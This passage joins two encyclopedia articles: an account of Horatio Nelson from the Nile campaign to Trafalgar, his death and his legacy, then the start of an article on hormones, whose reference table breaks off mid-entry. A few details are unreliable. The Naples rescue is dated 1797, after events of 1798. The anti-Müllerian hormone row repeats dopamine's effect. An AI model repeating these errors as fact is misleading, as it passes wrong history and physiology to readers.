          Whilst Nelson was sailing to Gibraltar through a fierce storm, Napoleon had sailed with his invasion fleet, a force under the command of Vice-admiral Franois-Paul Brueys d'Aigalliers. When news of this reached St. Vincent, Nelson was reinforced with a number of 74s and ordered to intercept the French. Nelson immediately began searching the Italian coast for Napoleon's fleet, but was hampered by a lack of frigates. Napoleon had arrived at Malta and after a show of force, secured the island's surrender. Nelson made for Malta but had again missed the French, who had already left for Egypt. After a conference with his captains, he decided that Egypt was Napoleon's most likely destination and headed for Alexandria. On his arrival on 28 June though he found no sign of the French. Dismayed, he withdrew and began searching to the east of the port. Whilst he was absent, Napoleon's fleet arrived on 1 July and landed their forces unopposed.


          Brueys then withdrew his fleet to Abu Qir Bay, ready to support Napoleon if required. Nelson had crossed the Mediterranean in a fruitless attempt to locate the French and had returned to Naples to re-provision. He sailed again, intending to search the seas off Cyprus, but decided to pass close to Alexandria again for a final check. In doing so his force captured a French merchant, which provided the first news of the French, that they had passed south-east of Crete a month before, heading to Alexandria. Nelson hurried to Alexandria, but again found it empty of the French. Searching along the coast, he finally discovered the French fleet in Abu Qir Bay on 1 August 1798.


          


          The Battle of the Nile


          Nelson immediately prepared for battle, repeating a sentiment he had earlier expressed at the battle of Cape St. Vincent, declaring that "Before this time tomorrow, I shall have gained a peerage or Westminster Abbey." The French had anchored in a strong position, their combined fire power greater than Nelson's fleet. It was late by the time the British arrived and the French did not expect them to attack. Nelson instead ordered his ships into the attack. The French had anchored close to a line of shoals, believing that this would secure their port side from attack. Brueys had assumed the British would follow convention and attack the centre from the starboard side. Instead, Captain Thomas Foley aboard HMS Goliath discovered there was room between the shoals and the French ships for a British ship to pass, and took his ship down the gap. The unprepared French found themselves attacked on both sides, as the British fleet split, some following Foley, others passing down the starboard side.
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          The rest of the fleet were soon in action, passing down the line and engaging the French one by one. Nelson aboard the Vanguard engaged the Spartiate, coming under fire fromthe Aquilon as he did so. He was with Berry on the quarter-deck at about eight o'clock when he was struck on the forehead by a piece of French shot. He fell to the deck, a flap of skin covering his good eye. Blinded and half stunned, he felt sure he would die. He cried out "I am killed. Remember me to my wife." He was taken below to be seen by the surgeon. After an examination the wound was pronounced non-threatening and was temporarily patched up. Meanwhile the French van, pounded by British fire from both sides had begun to surrender. The British ships continued to move down the line, bringing Brueys's 118-gun flagship Orient under constant fire. The Orient caught fire and later exploded. The remaining French ships attempted to escape and the battle was won. Nelson, who had come up on deck to continue directing the battle and had witnessed the end of the Orient was taken below again.


          The Battle of the Nile was a major blow to Napoleon's ambition's in the east. The fleet had been destroyed; Orient had been burnt, three 74s had been captured and burnt, four 74s and two 80s had been captured and only two ships of the line and two frigates had managed to escape. The forces Napoleon had brought to Egypt were stranded. Napoleon attempted to march north along the Mediterranean coast but his army was defeated at the Siege of Acre by Captain Sir Sidney Smith. Napoleon then left his army and sailed back to France, evading detection by British ships. Given its huge strategic importance, some historians regard Nelson's achievement at the Nile as the most significant of his career, Trafalgar notwithstanding.


          


          Rewards
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          For the spectacular victory of the Nile, Nelson was granted the title of Baron Nelson of the Nile. (Nelson felt cheated that he was not awarded a more prestigious title; Sir John Jervis had been made Earl of St. Vincent for his part in the Battle of Cape St. Vincent, but the British Government insisted that an officer who was not the commander-in-chief could not be raised to any peerage higher than a barony). Nelson felt throughout his life that his accomplishments were not fully rewarded by the British government, a fact he ascribed to his humble birth and lack of political connections as compared during his lifetime to the Earl of St Vincent or after his death to the Duke of Wellington. Not content to rest on his laurels, Nelson then rescued the Neapolitan royal family from a French invasion in December 1797. During his time in Naples he fell in love with Emma Hamilton, who became his mistress.


          In 1799 Nelson was promoted to Rear Admiral of the Red, the seventh highest rank in the Royal Navy. He was then assigned to the new third-rate Foudroyant. In July he aided Admiral Ushakov with the reconquest of Naples after the Parthenopaean Republic, and was made Duke of Bronte by the Neapolitan king. Some have suggested that a head wound Nelson received at Aboukir Bay was partially responsible for his personal conduct and for the way he managed the Neapolitan campaign. He was accused of allowing the monarchists to kill prisoners contrary to the laws of war. Perhaps Nelson's zeal was due simultaneously to his English hatred of Jacobins and his status as a Neapolitan royalist (as the Duke of Bronte). The Neapolitan campaign is now considered something of a disgrace to his name.


          Personal problems and some upper-level disappointment at his professional conduct caused him to be recalled to Britain. He, Emma and William meandered back to Britain via Central Europe (hearing the Missa in Angustiis by Haydn that now bears Nelson's name in Vienna in 1800), and eventually arrived in Britain later in 1800 to a hero's welcome. (Also in 1800 Lord Nelson was appointed High Steward of Ipswich, though he failed to become the town's MP.) The three then lived together openly, and Emma had Nelson's child, Horatia, in 1801. However, public knowledge of Nelson's affair with Lady Hamilton eventually induced the Admiralty to send him back to sea, if only to get him away from her.


          On 1 January 1801 Nelson was promoted to Vice Admiral of the Blue (the sixth highest rank). Within a few months he took part in the Battle of Copenhagen ( 2 April 1801) which was fought in order to break up the armed neutrality of Denmark, Sweden, and Russia. During the action, his commander, Sir Hyde Parker, signalled to Nelson to break off the action. This was to allow Nelson to retreat if he needed to  he could not legally do so without Parker's command  whilst Parker knew that Nelson would disregard the signal if he could continue the battle. Nelson ordered that the signal be acknowledged, but not repeated. Legend has it that Nelson turned to his flag Captain, Sir Thomas Foley, and said "You know, Foley, I only have one eye  I have the right to be blind sometimes," and then holding his telescope to his blind eye, said "I really do not see the signal!". His action was approved in retrospect, following a successful outcome to the battle, and in May he became commander-in-chief in the Baltic Sea. As a reward, he was created Viscount Nelson, of the Nile and of Burnham Thorpe in the County of Norfolk, on 22 May 1801. In addition, on 18 August 1801, he was created Baron Nelson, of the Nile and of Hilborough in the County of Norfolk, this time with a special remainder to his father and sisters.


          Meanwhile, Napoleon was massing forces to invade Great Britain. Nelson was placed in charge of defending the English Channel in order to thwart any such invasion. However, on 22 October 1801 an armistice was signed between the British and the French, and Nelson  in poor health again  retired to Britain where he stayed with his friends, Sir William and Lady Hamilton. The three embarked on a tour of England and Wales, culminating in a stay in Birmingham. They visited Matthew Boulton on his sick bed at Soho House and toured his Soho Manufactory. In 1802 Nelson bought Merton Place, a country estate in Merton, Surrey (now south-west London) where he lived briefly with Emma Hamilton.


          During this period Nelson, who had never succeeded in his aspirations to enter the House of Commons, spoke in support of the Addington government in the House of Lords, although he never held government office. At that time it was not uncommon for military figures to be involved in politics and even hold office (e.g. Wellington, who was briefly Chief Secretary for Ireland).


          


          The Battle of Trafalgar - death and burial
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          The Peace of Amiens was not to last long and Nelson soon returned to duty. He was appointed commander-in-chief in the Mediterranean. Assigned to HMS Victory in May 1803, Nelson joined the blockade of Toulon, France. He would not set foot on dry land again for more than two years.


          Nelson was promoted to Vice Admiral of the White (the fifth highest rank) while still at sea, on 23 April 1804. The French fleet slipped out of Toulon in early 1805 and headed for the West Indies. (See Battle of Cape Finisterre (1805) for a summary of this campaign.) A fierce chase failed to turn them up and Nelson's health forced him to retire to Merton in the UK. Within two months Nelson returned to sea. On 13 September 1805 he was called upon to oppose the French and Spanish fleets which had managed to join up and take refuge in the harbour of Cdiz, Spain.


          On 21 October 1805 Nelson engaged in his final battle, the Battle of Trafalgar. Napoleon Bonaparte had been massing forces once again for an invasion of the British Isles, but he decided that his navy was not adequate to secure the Channel for the invasion barges. Thus, Napoleon had started moving his troops for a campaign elsewhere in Europe. On 19 October the French and Spanish fleet set sail from Cdiz, probably because Pierre-Charles Villeneuve, the French commander, had learned that he was to be replaced. Nelson, with twenty-seven ships, engaged the thirty-three opposing ships.


          Nelson's last dispatch, written on the 21 October, read:


          
            
              	

              	"At daylight saw the Enemy's Combined Fleet from East to E.S.E.; bore away; made the signal for Order of Sailing, and to Prepare for Battle; the Enemy with their heads to the Southward: at seven the Enemy wearing in succession. May the Great God, whom I worship, grant to my Country, and for the benefit of Europe in general, a great and glorious Victory; and may no misconduct in any one tarnish it; and may humanity after Victory be the predominant feature in the British Fleet. For myself, individually, I commit my life to Him who made me, and may his blessing light upon my endeavours for serving my Country faithfully. To Him I resign myself and the just cause which is entrusted to me to defend. Amen. Amen. Amen."

              	
            

          


          As the two fleets moved towards engagement, Nelson ran up a thirty-one flag signal to the rest of the fleet, spelling out the famous phrase "England expects that every man will do his duty". The original signal that Nelson wished to make to the fleet was Nelson confides that every man will do his duty (meaning 'is confident that he will'). The signal officer asked Nelson if he could substitute the word 'expects' for 'confides' as 'expects' was included in the code devised by Sir Home Popham, whereas 'confides' would have to be spelled out letter by letter. Another officer suggested that "England" would be more powerful than "Nelson." Nelson agreed, and the signal was run up Victory's mizzenmast.


          After crippling the French flagship Bucentaure, Victory moved on to the Redoutable. The two ships became entangled, at which point snipers in the fighting tops of Redoutable were able to pour fire down onto the deck of Victory. Nelson was hit from a range of about fifty feet: a bullet entered his left shoulder, pierced his lung, and came to rest at the base of his spine. Nelson retained consciousness for four hours, but died soon after the battle ended with a British victory. (See Last words.) The bullet that killed Nelson was removed from his body and is now on public display in Windsor Castle.


          Victory was towed after the battle to Gibraltar, with Nelson's body preserved in a barrel of brandy. Legend has it that it was French brandy that had been captured during the battle. There was a rumour that on the voyage home to England, sailors drank the contents of the barrel, using tubes of macaroni as straws and then topped it up with wine, as they were toasting to their Admiral. This wasn't the case. The barrel was kept under armed guard and according to eyewitnesses, when it was opened in Portsmouth it seemed well topped up. However the legend was the origin of the Navy phrase "Tapping the Admiral" for the secret consumption of rum. Upon the arrival of his body in London, Nelson was given a state funeral (one of only eight non-royal Britons to receive the honour  others include the Duke of Wellington) and entombment in St. Paul's Cathedral. He was laid to rest in a wooden coffin made from the mast of L'Orient which had been salvaged after the Battle of the Nile, within a sarcophagus originally carved for Thomas Cardinal Wolsey (when Wolsey fell from favour, it was confiscated by Henry VIII and was still in the royal collections in 1805).


          


          Last words


          Nelson's final words (as related by Victory's Surgeon William Beatty, based on the accounts of those who were with Nelson when he died) were "Thank God I have done my duty." According to Beatty, he repeated these words several times until he became unable to speak.


          In his dying hours, Nelson was also attended by his chaplain, Alexander Scott; his steward, Chevalier; and the purser, Walter Burke. Their accounts have been available to Nelson's modern biographers. In those accounts, Nelson's last words were "Drink, drink. Fan, fan. Rub, rub." This was a request to alleviate his symptoms of thirst, heat, and the pains of his wounds. Nelson's steward stood by to fan him and feed him lemonade and watered wine, whilst Dr Scott massaged his chest to ease the pain.


          It is a common misconception that Nelson's last words were, "Kiss me, Hardy", spoken to the captain of HMS Victory, Thomas Hardy. Nelson did, in fact, say these words to Hardy a short time before his death. Eyewitnesses testified that Hardy kissed the admiral twice: once on the cheek and once on the forehead, as Nelson struggled to remain conscious. Prior to this Nelson asked his flag-captain not to throw him overboard and to look after 'poor Lady Hamilton'. He then said "kiss me Hardy". After Hardy's first kiss Nelson said, "now I am satisfied". After the second, "who is that?". When he saw it was Hardy he said, "God bless you Hardy." However they were not his last words as Hardy was not present at his death, having been called back on deck. Some have speculated that Nelson actually said "Kismet, Hardy", but this is unlikely, since the word kismet did not enter the English language until much later, although he may have heard the word used by a Turk. In Nelson's time, the word "kiss" also meant "touch" in the sense of any physical contact, as when two ships come very lightly into contact and are said to kiss each other. Nelson may therefore simply have wanted Hardy to shake his hand or make some other physical gesture. Shortly after "God bless you Hardy", Nelson said, "Thank God I have done my duty", and then finally, "Drink, drink. Fan, fan. Rub, rub." He lost consciousness, the surgeon was called, and Nelson was declared dead at 16:30.


          


          Legacy
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          Nelson was noted for his considerable ability to inspire and bring out the best in his men, to the point that it gained a name: "The Nelson Touch". Famous even while alive, after his death he was lionised like almost no other military figure in British history (his only peers are the Duke of Marlborough and Nelson's contemporary, the Duke of Wellington). Most military historians believe Nelson's ability to inspire officers of the highest rank and seamen of the lowest was central to his many victories, as was his ability to both strategically plan his campaigns and tactically shift his forces in the midst of battle. Certainly, he ranks as one of the greatest naval commanders in military history. Many consider him to have been one of the greatest warriors of the seas.


          It must also be said that his "Nelson touch" also worked with non-seamen; he was beloved in Britain by virtually everyone. (The only people not affected by him were those offended by his affair with Lady Hamilton.) Now as then, he is a popular hero, included in the top 10 of the 100 Greatest Britons poll sponsored by the BBC and voted for by the public, and commemorated in the extensive Trafalgar 200 celebrations in 2005, including the International Fleet Review. Even today phrases such as "England expects" and "nelson" (meaning "111") remain closely associated with English sporting teams.


          


          Monuments and memorials to Nelson


          A number of monuments and memorials were constructed across the country to honour his memory and achievements. The period of British dominance of the seas that his victories were considered to have ushered in led to a continued drive to create monuments in his name across the British Empire. These have taken many forms, the most famous being Nelson's Column in Trafalgar Square.


          


          Nelson and the Royal Navy
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          Nelson's memory lives on in the Royal Navy in many ways. The Royal Navy celebrates Nelson every 21 October by holding Trafalgar Day dinners and toasting "The Immortal Memory" of Nelson. His flagship Victory is still kept on active commission in honour of Nelson  it is the flagship of the Second Sea Lord, and is the oldest commissioned Naval ship in the world. She can be found in Number 2 Dry Dock of the Royal Naval Museum at the Portsmouth Naval Base, in Portsmouth, United Kingdom.


          The bullet that killed Nelson is permanently on display in the Grand Vestibule of Windsor Castle. The uniform that he wore during the battle, with the fatal bullet hole still visible, can be seen at the National Maritime Museum in Greenwich. A lock of Nelson's hair was given to the Imperial Japanese Navy from the Royal Navy after the Russo-Japanese War to commemorate the victory at the Battle of Tsushima. It is still on display at Kyouiku Sankoukan, a public museum maintained by the Japan Self-Defense Forces.


          


          Nelson's descendants


          Nelson had no legitimate children; his daughter, Horatia, by Lady Hamilton (who died in poverty when their daughter was 13), subsequently married the Rev. Philip Ward who became clergyman at St Mildred's Church, Tenterden, Kent, and died in 1881. She and Ward had ten children: Horatio Nelson (born 8 December 1822); Eleanor Philippa (born April 1824); Marmaduke Philip Smyth (born 27 May 1825); John James Stephen ( 13 February 18271829); Nelson (born 8 May 1828); William George (born 8 April 1830); Edmund ( 10 July 1832); Horatio (born 24 November 1833), Philip (born May 1834) and Caroline (born January 1836).


          Because Lord Nelson died without legitimate issue, his viscountcy and his barony created in 1798, both "of the Nile and of Burnham Thorpe in the County of Norfolk", became extinct upon his death. However, the barony created in 1801, "of the Nile and of Hilborough in the County of Norfolk", passed by a special remainder (which included Lord Nelson's father and sisters and their male issue) to Lord Nelson's brother, The Reverend William Nelson. William Nelson was also created Earl Nelson and Viscount Merton of Trafalgar and Merton in the County of Surrey in recognition of his brother's services, which title is still extant. William Nelson also inherited the Dukedom of Bront.


          


          Titles


          Nelson's titles, as inscribed on his coffin, were The Most Noble Lord Horatio Nelson, Viscount and Baron Nelson, of the Nile and of Burnham Thorpe in the County of Norfolk, Baron Nelson of the Nile and of Hillborough in the said County, Knight of the Most Honourable Order of the Bath, Vice Admiral of the White Squadron of the Fleet, Commander in Chief of his Majesty's Ships and Vessels in the Mediterranean, Duke of Bronte in Kingdom of the Two Sicilies, Knight Grand Cross of the Sicilian Order of St Ferdinand and of Merit, Member of the Ottoman Order of the Crescent, Knight Grand Commander of the Order of St. Joachim.


          He was a Colonel of the Royal Marines. He was voted a Freeman of Bath, Salisbury, Exeter, Plymouth, Monmouth, Sandwich, Oxford, Hereford, and Worcester.


          The University of Oxford, in full Congregation, bestowed the honorary degree of Doctor of Civil Law upon Nelson in 1802.


          Nelson was created Duke of Bronte by the King of Naples in July 1799, and after briefly experimenting with the signature "Bronte Nelson of the Nile" signed himself "Nelson & Bronte" for the rest of his life.


          


          Armorial bearings


          Arms were originally granted and confirmed on 20 October 1797. The original Nelson family arms were adapted by him to accommodate his naval victories. After the Battle of Cape St Vincent in 1797 Nelson was crowned a Knight of the Bath and granted supporters of a sailor and lion with a rolled up union flag and red ensign in his mouthness.


          Later modifications have, in the top of the shield, a palm tree in the centre separating a disabled ship on the left and a ruined fort on the right, indicating the Battle of the Nile in 1798.


          Nelsons motto, Palmam qui meruit ferat, (let he who has earned it bear the palm) is inscribed in a scroll along the bottom.


          


          Nelson in fiction


          Nelson appears, unnamed but recognisable, in Susan Sontag's novel The Volcano Lover: A Romance, which centres on Lady Hamilton's affair with him. Nelson himself appears as a ghost in Amber Benson's and Christopher Golden's Ghosts of Albion. He appears several times in Dudley Pope's Ramage series, sending the young Ramage on a secret mission into France. Pope describes Nelson's voice as high pitched and nasally. He plays a supporting role in Sharpe's Trafalgar by Bernard Cornwell and is the object of the ardent admiration of Captain Jack Aubrey in Patrick O'Brian's AubreyMaturin series (brought to the screen in Master and Commander: The Far Side of the World. In the classic literary work Ulysses by James Joyce, he is referred to by the character Stephen Dedalus as the 'one-handled adulterer', when speaking of his namesake monument, Nelson's Pillar. In James A Michener's tome Caribbean, Nelson is the central character of the chapter entitled "A Wedding on Nevis". Barry Unsworth's novel Losing Nelson depicts an obsessive man in the present day who reveres Nelson as an angel-like figure. In Naomi Novik's alternate history/fantasy Temeraire series, Nelson survives the Battle of Trafalgar, though burned by fire, is created a Duke, and serves in the Admiralty.


          Nelson was portrayed on film by Laurence Olivier in That Hamilton Woman (1941), about Nelson's affair with Emma, Lady Hamilton, played by Olivier's then-wife Vivien Leigh - reputedly Winston Churchill's favourite film - and also in the film The Young Mr. Pitt. Peter Finch portrayed him, with Glenda Jackson playing Emma Hamilton, in a 1973 film adaptation of Terence Rattigan's 1970 stage play A Bequest to the Nation. Nelson also appears as a minor character in Abel Gance's Austerlitz (1960). In the 1961 television series, Triton, Nelson was played by Robert James, and in a 1968 version of the same series, he was played by Terry Scully.


          
            Retrieved from " http://en.wikipedia.org/wiki/Horatio_Nelson%2C_1st_Viscount_Nelson"
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          Hormones (from Greek ὁή - "impetus") are chemicals released by cells that affect cells in other parts of the body. Only a small amount of hormone is required to alter cell metabolism. It is also a chemical messenger that transports a signal from one cell to another. All multicellular organisms produce hormones; plant hormones are also called phytohormones. Hormones in animals are often transported in the blood. Cells respond to a hormone when they express a specific receptor for that hormone. The hormone binds to the receptor protein, resulting in the activation of a signal transduction mechanism that ultimately leads to cell type-specific responses.


          Endocrine hormone molecules are secreted (released) directly into the bloodstream, while exocrine hormones (or ectohormones) are secreted directly into a duct, and from the duct they either flow into the bloodstream or they flow from cell to cell by diffusion in a process known as paracrine signalling.


          


          Hierarchical nature of hormonal control


          Hormonal regulation of some physiological activities involves a hierarchy of cell types acting on each other either to stimulate or to modulate the release and action of a particular hormone. The secretion of hormones from successive levels of endocrine cells is stimulated by chemical signals originating from cells higher up the hierarchical system. The master coordinator of hormonal activity in mammals is the hypothalamus, which acts on input that it receives from the central nervous system.


          Other hormone secretion occurs in response to local conditions, such as the rate of secretion of parathyroid hormone by the parathyroid cells in response to fluctuations of ionized calcium levels in extracellular fluid.


          


          Hormone signaling


          Hormonal signalling across this hierarchy involves the following:


          
            	Biosynthesis of a particular hormone in a particular tissue


            	Storage and secretion of the hormone


            	Transport of the hormone to the target cell(s)


            	Recognition of the hormone by an associated cell membrane or intracellular receptor protein.


            	Relay and amplification of the received hormonal signal via a signal transduction process: This then leads to a cellular response. The reaction of the target cells may then be recognized by the original hormone-producing cells, leading to a down-regulation in hormone production. This is an example of a homeostatic negative feedback loop.


            	Degradation of the hormone.

          


          As can be inferred from the hierarchical diagram, hormone biosynthetic cells are typically of a specialized cell type, residing within a particular endocrine gland (e.g., the thyroid gland, the ovaries, or the testes). Hormones may exit their cell of origin via exocytosis or another means of membrane transport. However, the hierarchical model is an oversimplification of the hormonal signaling process. Cellular recipients of a particular hormonal signal may be one of several cell types that reside within a number of different tissues, as is the case for insulin, which triggers a diverse range of systemic physiological effects. Different tissue types may also respond differently to the same hormonal signal. Because of this, hormonal signaling is elaborate and hard to dissect.


          


          Interactions with receptors


          Most hormones initiate a cellular response by initially combining with either a specific intracellular or cell membrane associated receptor protein. A cell may have several different receptors that recognize the same hormone and activate different signal transduction pathways, or alternatively different hormones and their receptors may invoke the same biochemical pathway.


          For many hormones, including most protein hormones, the receptor is membrane associated and embedded in the plasma membrane at the surface of the cell. The interaction of hormone and receptor typically triggers a cascade of secondary effects within the cytoplasm of the cell, often involving phosphorylation or dephosphorylation of various other cytoplasmic proteins, changes in ion channel permeability, or increased concentrations of intracellular molecules that may act as secondary messengers (e.g. cyclic AMP). Some protein hormones also interact with intracellular receptors located in the cytoplasm or nucleus by an intracrine mechanism.


          For hormones such as steroid or thyroid hormones, their receptors are located intracellularly within the cytoplasm of their target cell. In order to bind their receptors these hormones must cross the cell membrane. The combined hormone-receptor complex then moves across the nuclear membrane into the nucleus of the cell, where it binds to specific DNA sequences, effectively amplifying or suppressing the action of certain genes, and affecting protein synthesis. However, it has been shown that not all steroid receptors are located intracellularly, some are plasma membrane associated.


          An important consideration, dictating the level at which cellular signal transduction pathways are activated in response to a hormonal signal is the effective concentration of hormone-receptor complexes that are formed. Hormone-receptor complex concentrations are effectively determined by three factors:


          
            	The number of hormone molecules available for complex formation


            	The number of receptor molecules available for complex formation and


            	The binding affinity between hormone and receptor.

          


          The number of hormone molecules available for complex formation is usually the key factor in determining the level at which signal transduction pathways are activated. The number of hormone molecules available being determined by the concentration of circulating hormone, which is in turn influenced by the level and rate at which they are secreted by biosynthetic cells. The number of receptors at the cell surface of the receiving cell can also be varied as can the affinity between the hormone and its receptor.


          


          Physiology of hormones


          Most cells are capable of producing one or more molecules, which act as signaling molecules to other cells, altering their growth, function, or metabolism. The classical hormones produced by cells in the endocrine glands mentioned so far in this article are cellular products, specialized to serve as regulators at the overall organism level. However they may also exert their effects solely within the tissue in which they are produced and originally released.


          The rate of hormone biosynthesis and secretion is often regulated by a homeostatic negative feedback control mechanism. Such a mechanism depends on factors which influence the metabolism and excretion of hormones. Thus, higher hormone concentration alone can not trigger the negative feedback mechanism. Negative feedback must be triggered by overproduction of an "effect" of the hormone.


          Hormone secretion can be stimulated and inhibited by:


          
            	Other hormones (stimulating- or releasing-hormones)


            	Plasma concentrations of ions or nutrients, as well as binding globulins


            	Neurons and mental activity


            	Environmental changes, e.g., of light or temperature

          


          One special group of hormones is the tropic hormones that stimulate the hormone production of other endocrine glands. For example, thyroid-stimulating hormone (TSH) causes growth and increased activity of another endocrine gland, the thyroid, which increases output of thyroid hormones.


          A recently-identified class of hormones is that of the "hunger hormones" - ghrelin, orexin and PYY 3-36 - and "satiety hormones" - e.g., leptin, obestatin, nesfatin-1.


          In order to release active hormones quickly into the circulation, hormone biosynthetic cells may produce and store biologically inactive hormones in the form of pre- or prohormones. These can then be quickly converted into their active hormone form in response to a particular stimulus.


          


          Hormone effects


          Hormone effects vary widely, but can include:


          
            	stimulation or inhibition of growth,


            	In puberty hormones can affect mood and mind


            	induction or suppression of apoptosis (programmed cell death)


            	activation or inhibition of the immune system


            	regulating metabolism


            	preparation for a new activity (e.g., fighting, fleeing, mating)


            	preparation for a new phase of life (e.g., puberty, caring for offspring, menopause)


            	controlling the reproductive cycle

          


          In many cases, one hormone may regulate the production and release of other hormones


          Many of the responses to hormone signals can be described as serving to regulate metabolic activity of an organ or tissue.


          


          Chemical classes of hormones


          Vertebrate hormones fall into three chemical classes:


          
            	Amine-derived hormones are derivatives of the amino acids tyrosine and tryptophan. Examples are catecholamines and thyroxine.


            	Peptide hormones consist of chains of amino acids. Examples of small peptide hormones are TRH and vasopressin. Peptides composed of scores or hundreds of amino acids are referred to as proteins. Examples of protein hormones include insulin and growth hormone. More complex protein hormones bear carbohydrate side chains and are called glycoprotein hormones. Luteinizing hormone, follicle-stimulating hormone and thyroid-stimulating hormone are glycoprotein hormones.


            	Lipid and phospholipid-derived hormones derive from lipids such as linoleic acid and arachidonic acid and phospholipids. The main classes are the steroid hormones that derive from cholesterol and the eicosanoids. Examples of steroid hormones are testosterone and cortisol. Sterol hormones such as calcitriol are a homologous system. The adrenal cortex and the gonads are primary sources of steroid hormones. Examples of eicosanoids are the widely studied prostaglandins.

          


          


          Pharmacology


          Many hormones and their analogues are used as medication. The most commonly-prescribed hormones are estrogens and progestagens (as methods of hormonal contraception and as HRT), thyroxine (as levothyroxine, for hypothyroidism) and steroids (for autoimmune diseases and several respiratory disorders). Insulin is used by many diabetics. Local preparations for use in otolaryngology often contain pharmacologic equivalents of adrenaline, while steroid and vitamin D creams are used extensively in dermatological practice.


          A "pharmacologic dose" of a hormone is a medical usage referring to an amount of a hormone far greater than naturally occurs in a healthy body. The effects of pharmacologic doses of hormones may be different from responses to naturally-occurring amounts and may be therapeutically useful. An example is the ability of pharmacologic doses of glucocorticoid to suppress inflammation.


          


          Important human hormones


          Spelling is not uniform for many hormones. Current North American and international usage is estrogen, gonadotropin, while British usage retains the Greek diphthong in oestrogen and favors the earlier spelling gonadotrophin (from trophē nourishment, sustenance rather than tropē turning, change.


          
            
              	Structure

              	Name

              	Abbrev-

              iation

              	Tissue

              	Cells

              	Mechanism

              	Target Tissue

              	Effect
            


            
              	amine - tryptophan

              	Melatonin (N-acetyl-5-methoxytryptamine)

              	

              	pineal gland

              	pinealocyte

              	

              	

              	antioxidant and causes drowsiness
            


            
              	amine - tryptophan

              	Serotonin

              	5-HT

              	CNS, GI tract

              	enterochromaffin cell

              	

              	

              	Controls mood, appetite, and sleep
            


            
              	amine - tyrosine

              	Thyroxine (or tetraiodothyronine) (a thyroid hormone)

              	T4

              	thyroid gland

              	thyroid epithelial cell

              	direct

              	

              	
                less active form of thyroid hormone: increase the basal metabolic rate & sensitivity to catecholamines,

                affect protein synthesis

              
            


            
              	amine - tyrosine

              	Triiodothyronine (a thyroid hormone)

              	T3

              	thyroid gland

              	thyroid epithelial cell

              	direct

              	

              	
                potent form of thyroid hormone: increase the basal metabolic rate & sensitivity to catecholamines,

                affect protein synthesis

              
            


            
              	amine - tyrosine ( cat)

              	Epinephrine (or adrenaline)

              	EPI

              	adrenal medulla

              	chromaffin cell

              	

              	

              	
                Fight-or-flight response:

                Boosts the supply of oxygen and glucose to the brain and muscles (by increasing heart rate and stroke volume, vasodilation, increasing catalysis of glycogen in liver, breakdown of lipids in fat cells. dilate the pupils Suppress non-emergency bodily processes (e.g. digestion) Suppress immune system

              
            


            
              	amine - tyrosine ( cat)

              	Norepinephrine (or noradrenaline)

              	NRE

              	adrenal medulla

              	chromaffin cell

              	

              	

              	
                Fight-or-flight response:

                Boosts the supply of oxygen and glucose to the brain and muscles (by increasing heart rate and stroke volume, vasoconstriction and increased blood pressure, breakdown of lipids in fat cells. Increase skeletal muscle readiness.

              
            


            
              	amine - tyrosine ( cat)

              	Dopamine (or prolactin inhibiting hormone

              	DPM, PIH or DA

              	kidney, hypothalamus

              	Chromaffin cells in kidney

              Dopamine neurons of the arcuate nucleus in hypothalamus

              	

              	

              	Increase heart rate and blood pressure

              Inhibit release of prolactin and TRH from anterior pituitary
            


            
              	peptide

              	Antimullerian hormone (or mullerian inhibiting factor or hormone)

              	AMH

              	testes

              	Sertoli cell

              	

              	

              	Inhibit release of prolactin and TRH from anterior pituitary
            


            
              	peptide

              	Adiponectin

              	Acrp30

              	adipose tissue

              	

              	

              	

              	
            


            
              	peptide

              	Adrenocorticotropic hormone (or corticotropin)

              	ACTH

              	anterior pituitary

              	corticotrope

              	cAMP

              	

              	synthesis of corticosteroids ( glucocorticoids and androgens) in adrenocortical cells
            


            
              	peptide

              	Angiotensinogen and angiotensin

              	AGT

              	liver

              	

              	IP3

              	

              	
                vasoconstriction

                release of aldosterone from adrenal cortex dipsogen.

              
            


            
              	peptide

              	Antidiuretic hormone (or vasopressin, arginine vasopressin)

              	ADH

              	posterior pituitary

              	Parvocellular neurosecretory neurons in hypothalamus

              Magnocellular neurosecretory cells in posterior pituitary

              	varies

              	

              	retention of water in kidneys

              moderate vasoconstriction

              Release ACTH in anterior pituitary
            


            
              	peptide

              	Atrial-natriuretic peptide (or atriopeptin)

              	ANP

              	heart

              	

              	cGMP

              	

              	
            


            
              	peptide

              	Calcitonin

              	CT

              	thyroid gland

              	parafollicular cell

              	cAMP

              	

              	Construct bone, reduce blood Ca2+
            


            
              	peptide

              	Cholecystokinin

              	CCK

              	duodenum

              	

              	

              	

              	
                Release of digestive enzymes from pancreas

                Release of bile from gallbladder hunger suppressant

              
            


            
              	peptide

              	Corticotropin-releasing hormone

              	CRH

              	hypothalamus

              	

              	cAMP

              	

              	Release ACTH from anterior pituitary
            


            
              	peptide

              	Erythropoietin

              	EPO

              	kidney

              	Extraglomerular mesangial cells

              	

              	

              	Stimulate erythrocyte production
            


            
              	peptide

              	Follicle-stimulating hormone

              	FSH

              	anterior pituitary

              	gonadotrope

              	cAMP

              	

              	
                In female: stimulates maturation of Graafian follicles in ovary.

                In male: spermatogenesis, enhances production of androgen-binding protein by the Sertoli cells of the testes

              
            


            
              	peptide

              	Gastrin

              	GRP

              	stomach, duodenum

              	G cell

              	

              	

              	Secretion of gastric acid by parietal cells
            


            
              	peptide

              	Ghrelin

              	

              	stomach

              	P/D1 cell

              	

              	

              	
                Stimulate appetite,

                secretion of growth hormone from anterior pituitary gland

              
            


            
              	peptide

              	Glucagon

              	GCG

              	pancreas

              	alpha cells

              	cAMP

              	

              	
                glycogenolysis and gluconeogenesis in liver

                increases blood glucose level

              
            


            
              	peptide

              	Gonadotropin-releasing hormone

              	GnRH

              	hypothalamus

              	

              	IP3

              	

              	Release of FSH and LH from anterior pituitary.
            


            
              	peptide

              	Growth hormone-releasing hormone

              	GHRH

              	hypothalamus

              	

              	IP3

              	

              	Release GH from anterior pituitary
            


            
              	peptide

              	Human chorionic gonadotropin

              	hCG

              	placenta

              	syncytiotrophoblast cells

              	cAMP

              	

              	
                promote maintenance of corpus luteum during beginning of pregnancy

                Inhibit immune response, towards the human embryo.

              
            


            
              	peptide

              	Human placental lactogen

              	HPL

              	placenta

              	

              	

              	

              	
                increase production of insulin and IGF-1

                increase insulin resistance and carbohydrate intolerance

              
            


            
              	peptide

              	Growth hormone

              	GH or hGH

              	anterior pituitary

              	somatotropes

              	

              	

              	
                stimulates growth and cell reproduction

                Release Insulin-like growth factor 1 from liver

              
            


            
              	peptide

              	Inhibin

              	

              	testes, ovary, fetus

              	Sertoli cells of testes

              granulosa cells of ovary

              trophoblasts in fetus

              	anterior pituitary

              	Inhibit production of FSH
            


            
